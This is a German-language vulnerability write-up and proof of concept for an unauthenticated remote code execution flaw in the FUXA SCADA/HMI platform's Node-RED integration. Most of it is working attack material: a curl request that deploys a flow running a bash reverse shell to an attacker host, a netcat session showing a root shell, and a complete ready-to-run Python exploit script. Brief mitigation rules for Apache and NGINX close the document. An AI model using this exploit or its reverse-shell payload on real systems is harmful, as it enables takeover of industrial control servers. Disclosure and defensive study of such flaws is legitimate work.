
Eine Erklärung und ein PoC zur Ausnutzung der nicht authentifizierten RCE-Schwachstelle CVE-2026-25938 auf FUXA
FUXA ist eine kostenlose, quelloffene, webbasierte SCADA- (Supervisory Control and Data Acquisition) und HMI- (Human-Machine Interface) Plattform, die für industrielle Automatisierung, IoT und Echtzeit-Prozessvisualisierung verwendet wird. Sie ermöglicht Benutzern, eigene Dashboards zu erstellen und Maschinen direkt in einem Webbrowser zu überwachen, ohne teure proprietäre Software oder schwere Desktop-Editoren zu benötigen.
CVE-2026-25938 betrifft FUXA Versionen 1.2.8 bis 1.2.10, wenn die Node-RED-Integration aktiviert ist (standardmäßig ist sie das). Die Schwachstelle beruht auf unzureichender Authentifizierung bei Funktionen, die Node-RED-Fähigkeiten offenlegen, wodurch ein nicht authentifizierter entfernter Angreifer Operationen ausführen kann, die eine Autorisierung erfordern sollten, wie z. B. das Erstellen von Flows, wobei einer davon Befehle auf dem System ausführen kann. Da Node-RED Flows mit den Privilegien des FUXA-Prozesses ausführen kann, kann diese Authentifizierungsumgehung letztlich zu beliebiger Remote-Codeausführung auf dem zugrunde liegenden Server führen. Das Problem wird in FUXA 1.2.11 und höher behoben.
Wir werden einen Docker-Container mit einer verwundbaren Version von FUXA ausführen, in diesem Fall die Version 1.2.8:
docker run -d -p 1881:1881 --name fuxa-1.2.8 frangoteam/fuxa:1.2.8
Das folgende Payload wird eine Reverse Shell zu der im Exec-Knoten angegebenen IP-Adresse auslösen, indem es die Schwachstelle ausnutzt:
tab-Knoten erstellt einen Flow namens „RCE“.inject-Knoten wird bei der Bereitstellung automatisch ausgelöst. All dies wegen dieser Parameter "once": true und "onceDelay": 0.1exec-Knoten führt den Befehl aus, den wir ausführen möchten, in diesem Fall die Reverse Shell. Er ist in "command": "bash <snip>" angegeben.curl -X POST http://<IP_ADDRESS>:1881/nodered/flows \
-H "Content-Type: application/json" \
-H "Node-RED-Deployment-Type: full" \
-H "Referer: http://192.168.1.201:1881/editor" \
-d '[
{
"id": "tab1",
"type": "tab",
"label": "RCE",
"disabled": false,
"info": ""
},
{
"id": "inject1",
"type": "inject",
"z": "tab1",
"name": "",
"props": [{"p": "payload"}],
"repeat": "",
"crontab": "",
"once": true,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 150,
"y": 100,
"wires": [["exec1"]]
},
{
"id": "exec1",
"type": "exec",
"z": "tab1",
"command": "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winHide": false,
"oldrc": false,
"name": "",
"x": 350,
"y": 100,
"wires": [["debug1"], [], []]
}
]'
Wenn wir einen Listener für unsere Reverse Shell erstellen, empfangen wir beim Senden des Payloads eine Verbindung mit einer Root-Shell:
┌──(kali㉿jbkira)-[~]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.36] from (UNKNOWN) [192.168.1.201] 59546
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@887eaf642fc4:/usr/src/app/FUXA/server#
#!/usr/bin/env python3
import argparse
import requests
import sys
import json
# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"
def exploit(target_url, listener_ip, listener_port):
# Extract host:port from URL for Referer
target_host = target_url.split("//")[1].split("/")[0]
# Build the full endpoint
if not target_url.endswith("/"):
target_url += "/"
endpoint = f"{target_url}nodered/flows"
# Payload for the exploit
payload = [
{
"id": "tab1",
"type": "tab",
"label": "RCE",
"disabled": False,
"info": ""
},
{
"id": "inject1",
"type": "inject",
"z": "tab1",
"name": "",
"props": [{"p": "payload"}],
"repeat": "",
"crontab": "",
"once": True,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 150,
"y": 100,
"wires": [["exec1"]]
},
{
"id": "exec1",
"type": "exec",
"z": "tab1",
"command": f"bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winHide": False,
"oldrc": False,
"name": "",
"x": 350,
"y": 100,
"wires": [["debug1"], [], []]
}
]
headers = {
"Content-Type": "application/json",
"Referer": f"http://{target_host}/editor"
}
try:
response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
if response.status_code == 200 or response.status_code == 204:
print(f"{GREEN}[+] Exploit successful! Check your listener for a reverse shell. ;){RESET}")
else:
print(f"{RED}[-] Exploit failed. Status Code: {response.status_code}{RESET}")
except requests.exceptions.RequestException as e:
print(f"{RED}[-] Error occurred: {e}{RESET}")
def argparse_setup():
parser = argparse.ArgumentParser(description="Exploit for FUXA Unauthenticated RCE (CVE-2026-25938) created by JBKira")
parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:1881/)", required=True)
parser.add_argument("-l", "--listener-ip", help="Your listener IP for reverse shell", required=True)
parser.add_argument("-lp", "--listener-port", type=int, default=443, help="Port for reverse shell (default: 443)")
return parser.parse_args()
def banner():
print(f"{YELLOW}")
print(r"""
_____ _ _ _____ _____ _____ _____ ____ _____ _____ _____ _____ _____
/ __ \ | | | ___| / __ \| _ |/ __ \ / ___| / __ \| ___|| _ ||____ | _ |
| / \/ | | | |__ ______`' / /'| |/' |`' / /'/ /___ ______`' / /'|___ \ | |_| | / /\ V /
| | | | | | __|______| / / | /| | / / | ___ \______| / / \ \\____ | \ \/ _ \
| \__/\ \_/ / |___ ./ /___\ |_/ /./ /___| \_/ | ./ /___/\__/ /.___/ /.___/ / |_| |
\____/\___/\____/ \_____/ \___/ \_____/\_____/ \_____/\____/ \____/ \____/\_____/
""")
print(f"CVE-2026-25938 Exploit for FUXA NODE-RED Unauthenticated RCE created by JBKira{RESET}")
print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")
def main():
args = argparse_setup()
banner()
exploit(args.url, args.listener_ip, args.listener_port)
if __name__ == "__main__":
main()
Wenn möglich, aktualisieren Sie auf eine Version gleich oder höher als 1.2.11; die Schwachstelle ist in Version 1.2.11 behoben.
Falls ein Update nicht möglich ist, können Sie Folgendes tun:
Wenn Apache als Einstiegspunkt für die Anwendung verwendet wird. Es funktioniert nicht, wenn Apache die IP des Clients aufgrund von NAT, Docker Proxy usw. nicht sehen kann.
<LocationMatch "^/nodered/">
Require ip 127.0.0.1
Require ip ::1
Require ip <TRUSTED_MGMT_CIDR>
</LocationMatch>
Wenn NGINX als Einstiegspunkt für die Anwendung verwendet wird. Es funktioniert nicht, wenn NGINX die IP des Clients aufgrund von NAT, Docker Proxy usw. nicht sehen kann.
location /nodered/ {
allow 127.0.0.1;
allow ::1;
allow <TRUSTED_MGMT_CIDR>;
deny all;
}